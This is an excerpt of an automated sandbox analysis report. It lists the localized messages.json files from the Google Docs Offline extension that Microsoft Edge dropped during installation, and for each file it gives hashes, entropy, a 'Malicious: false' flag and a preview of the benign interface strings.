Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
